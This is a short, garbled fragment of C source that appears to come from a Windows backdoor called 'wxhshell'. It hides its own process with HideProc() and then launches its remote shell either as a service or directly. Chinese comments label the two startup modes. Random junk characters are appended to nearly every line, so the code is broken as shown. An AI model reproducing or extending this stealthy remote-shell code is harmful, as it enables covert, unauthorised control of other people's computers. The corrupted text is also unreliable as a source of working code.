HideProc(); {v'Fg
StartWxhshell(lpCmdLine); /[T8/7;_l
} TBp5xz`
else #gT^hl5/
if(StartFromService()) %),O9*[9
// 以服务方式启动 pjn%CR`;
StartServiceCtrlDispatcher(DispatchTable); Mo=-P2)>lt
else srA~gzF
// 普通方式启动 !{0!G
StartWxhshell(lpCmdLine); e;3 (,
^>28>!"1
return 0; hfc!M2/w
}